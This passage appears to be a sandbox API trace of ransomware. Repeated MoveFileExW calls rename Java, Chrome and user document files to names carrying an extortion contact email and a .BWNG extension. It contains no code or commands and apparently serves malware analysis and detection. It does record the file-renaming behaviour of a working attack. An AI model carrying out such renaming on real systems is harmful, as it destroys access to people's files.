(x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].ahFqjTak-aEStPmE6.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].ahfqjtak-aestpme6.bwng"), dwFlags=0x1) returned 1 [0124.278] GetTickCount () returned 0x1166a48 [0124.278] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26623039694) returned 1 [0124.278] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Port-au-Prince" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\port-au-prince"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].wmZG6SKm-IHFlMyNd.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].wmzg6skm-ihflmynd.bwng"), dwFlags=0x1) returned 1 [0124.280] GetTickCount () returned 0x1166a48 [0124.280] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26623201068) returned 1 [0124.280] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Santarem" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\santarem"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].0vsstqf7-241Ka7v3.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].0vsstqf7-241ka7v3.bwng"), dwFlags=0x1) returned 1 [0124.281] GetTickCount () returned 0x1166a48 [0124.281] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26623351061) returned 1 [0124.282] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Thomas" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\st_thomas"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].alQIRxeR-UXNT1Tr3.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].alqirxer-uxnt1tr3.bwng"), dwFlags=0x1) returned 1 [0124.286] GetTickCount () returned 0x1166a57 [0124.287] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26623875750) returned 1 [0124.287] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Whitehorse" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\whitehorse"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].ByxQUVae-VcbtPIEm.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].byxquvae-vcbtpiem.bwng"), dwFlags=0x1) returned 1 [0124.288] GetTickCount () returned 0x1166a57 [0124.288] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26624015766) returned 1 [0124.288] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Palmer" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\palmer"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\[billwong73@yahoo.com].OF5sqvFZ-5XFYs3Sh.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\[billwong73@yahoo.com].of5sqvfz-5xfys3sh.bwng"), dwFlags=0x1) returned 1 [0124.289] GetTickCount () returned 0x1166a57 [0124.289] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26624159425) returned 1 [0124.290] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ashgabat" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\ashgabat"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].9NKVQHfg-VR58YFwt.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].9nkvqhfg-vr58yfwt.bwng"), dwFlags=0x1) returned 1 [0124.291] GetTickCount () returned 0x1166a57 [0124.291] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26624297669) returned 1 [0124.291] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Colombo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\colombo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].szo1h5xy-01SxvdXZ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].szo1h5xy-01sxvdxz.bwng"), dwFlags=0x1) returned 1 [0124.292] GetTickCount () returned 0x1166a57 [0124.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26624430526) returned 1 [0124.292] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hovd" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\hovd"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].foHaRdQ9-JUnQ0A0w.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].fohardq9-junq0a0w.bwng"), dwFlags=0x1) returned 1 [0124.293] GetTickCount () returned 0x1166a57 [0124.293] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26624569596) returned 1 [0124.294] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kathmandu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kathmandu"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].29anLLfh-zeDCM8IG.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].29anllfh-zedcm8ig.bwng"), dwFlags=0x1) returned 1 [0124.295] GetTickCount () returned 0x1166a57 [0124.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26624726471) returned 1 [0124.295] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Manila" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\manila"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].oU3KrWUm-cc6Qqw1t.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].ou3krwum-cc6qqw1t.bwng"), dwFlags=0x1) returned 1 [0124.505] GetTickCount () returned 0x1166b32 [0124.505] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26645767386) returned 1 [0124.506] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\gmail.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\gmail.crx"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\[billwong73@yahoo.com].9oUbPdpp-DDRcSvJq.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\[billwong73@yahoo.com].9oubpdpp-ddrcsvjq.bwng"), dwFlags=0x1) returned 1 [0124.507] GetTickCount () returned 0x1166b32 [0124.507] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26645935441) returned 1 [0124.507] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ca.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ca.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].ZfdK59sE-UEckkgs3.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].zfdk59se-ueckkgs3.bwng"), dwFlags=0x1) returned 1 [0124.509] GetTickCount () returned 0x1166b32 [0124.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26646089184) returned 1 [0124.509] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fa.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fa.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].Qn93DhUv-NhATH4IU.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].qn93dhuv-nhath4iu.bwng"), dwFlags=0x1) returned 1 [0124.510] GetTickCount () returned 0x1166b32 [0124.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26646438143) returned 1 [0124.512] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yHlFw.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yhlfw.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].Edl4tjPh-CpmfIi1K.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].edl4tjph-cpmfii1k.bwng"), dwFlags=0x1) returned 1 [0124.514] GetTickCount () returned 0x1166b32 [0124.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26646612004) returned 1 [0124.514] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\it.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\it.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].pCnnlg71-H85JUbXl.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].pcnnlg71-h85jubxl.bwng"), dwFlags=0x1) returned 1 [0124.515] GetTickCount () returned 0x1166b32 [0124.515] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26646741032) returned 1 [0124.515] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\nl.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].h7cjnsT3-FGqGdsUh.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].h7cjnst3-fgqgdsuh.bwng"), dwFlags=0x1) returned 1 [0124.516] GetTickCount () returned 0x1166b32 [0124.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26646863280) returned 1 [0124.517] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sw.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sw.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].pay6awXo-kHEpcPkg.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].pay6awxo-khepcpkg.bwng"), dwFlags=0x1) returned 1 [0124.517] GetTickCount () returned 0x1166b32 [0124.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26646973317) returned 1 [0124.518] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\natives_blob.bin"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\[billwong73@yahoo.com].Z3r22AkL-8M2NnzdY.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\[billwong73@yahoo.com].z3r22akl-8m2nnzdy.bwng"), dwFlags=0x1) returned 1 [0124.519] GetTickCount () returned 0x1166b32 [0124.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26647113888) returned 1 [0124.519] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\[billwong73@yahoo.com].EI5W5teK-AvmkLSLL.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\[billwong73@yahoo.com].ei5w5tek-avmklsll.bwng"), dwFlags=0x1) returned 1 [0124.787] GetTickCount () returned 0x1166c4b [0124.787] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26673889383) returned 1 [0124.787] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\[billwong73@yahoo.com].E8rcfsEH-UbF3AIHb.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\[billwong73@yahoo.com].e8rcfseh-ubf3aihb.bwng"), dwFlags=0x1) returned 1 [0124.789] GetTickCount () returned 0x1166c4b [0124.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26674122601) returned 1 [0124.789] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\[billwong73@yahoo.com].FTtEBC1M-fZVFNIap.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\[billwong73@yahoo.com].fttebc1m-fzvfniap.bwng"), dwFlags=0x1) returned 1 [0124.790] GetTickCount () returned 0x1166c4b [0124.790] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26674270354) returned 1 [0124.791] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\[billwong73@yahoo.com].rth6eOgX-WOE1cYJ1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\[billwong73@yahoo.com].rth6eogx-woe1cyj1.bwng"), dwFlags=0x1) returned 1 [0124.792] GetTickCount () returned 0x1166c4b [0124.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26674416229) returned 1 [0124.792] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\[billwong73@yahoo.com].DQ35TQCd-XqSezoeG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\[billwong73@yahoo.com].dq35tqcd-xqsezoeg.bwng"), dwFlags=0x1) returned 1 [0124.794] GetTickCount () returned 0x1166c4b [0124.794] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26674578416) returned 1 [0124.794] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\[billwong73@yahoo.com].ye6mnGMq-eg1ur1LL.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\[billwong73@yahoo.com].ye6mngmq-eg1ur1ll.bwng"), dwFlags=0x1) returned 1 [0124.795] GetTickCount () returned 0x1166c4b [0124.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26674732077) returned 1 [0124.795] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\[billwong73@yahoo.com].IvHgUIfK-gAAu5JXU.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\[billwong73@yahoo.com].ivhguifk-gaau5jxu.bwng"), dwFlags=0x1) returned 1 [0124.797] GetTickCount () returned 0x1166c4b [0124.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26674887514) returned 1 [0124.797] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\[billwong73@yahoo.com].aCVP0qHx-mRCyxM25.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\[billwong73@yahoo.com].acvp0qhx-mrcyxm25.bwng"), dwFlags=0x1) returned 1 [0124.798] GetTickCount () returned 0x1166c4b [0124.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26675028624) returned 1 [0124.798] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Brussels" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\brussels"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].l2Qs56UX-H95Rahiz.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].l2qs56ux-h95rahiz.bwng"), dwFlags=0x1) returned 1 [0124.800] GetTickCount () returned 0x1166c4b [0124.800] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26675189550) returned 1 [0124.800] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kiev" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\kiev"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].2U2mvQGe-2tVbqbLB.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].2u2mvqge-2tvbqblb.bwng"), dwFlags=0x1) returned 1 [0124.802] GetTickCount () returned 0x1166c5a [0124.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26675383995) returned 1 [0124.802] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh87" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\riyadh87"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].nJPK9pCL-LcKRt6jz.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].njpk9pcl-lckrt6jz.bwng"), dwFlags=0x1) returned 1 [0124.803] GetTickCount () returned 0x1166c5a [0124.803] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26675517937) returned 1 [0124.803] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Paris" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\paris"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].aPrutsTy-5kOWxkSj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].aprutsty-5kowxksj.bwng"), dwFlags=0x1) returned 1 [0124.805] GetTickCount () returned 0x1166c5a [0124.805] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26675677797) returned 1 [0124.805] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Uzhgorod" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\uzhgorod"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].wQqqeBI2-nOK28waj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].wqqqebi2-nok28waj.bwng"), dwFlags=0x1) returned 1 [0125.007] GetTickCount () returned 0x1166d25 [0125.007] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26695969918) returned 1 [0125.008] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Antananarivo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\antananarivo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\[billwong73@yahoo.com].kUvZQAXH-mRxliVFD.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\[billwong73@yahoo.com].kuvzqaxh-mrxlivfd.bwng"), dwFlags=0x1) returned 1 [0125.009] GetTickCount () returned 0x1166d25 [0125.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26696174672) returned 1 [0125.010] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Reunion" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\reunion"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\[billwong73@yahoo.com].zFiWZ36n-aATwmdfG.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\[billwong73@yahoo.com].zfiwz36n-aatwmdfg.bwng"), dwFlags=0x1) returned 1 [0125.011] GetTickCount () returned 0x1166d25 [0125.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26696340613) returned 1 [0125.011] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Enderbury" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\enderbury"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].Jzxz2g9J-l26m4ZOy.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].jzxz2g9j-l26m4zoy.bwng"), dwFlags=0x1) returned 1 [0125.013] GetTickCount () returned 0x1166d25 [0125.013] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26696549751) returned 1 [0125.013] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Kiritimati" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\kiritimati"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].87cG9ook-oyT7ScoV.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].87cg9ook-oyt7scov.bwng"), dwFlags=0x1) returned 1 [0125.015] GetTickCount () returned 0x1166d25 [0125.015] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26696771707) returned 1 [0125.016] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Pago_Pago" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\pago_pago"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].kNwSQazC-auhvRaok.BWNG" (normalized: "c:\\program files 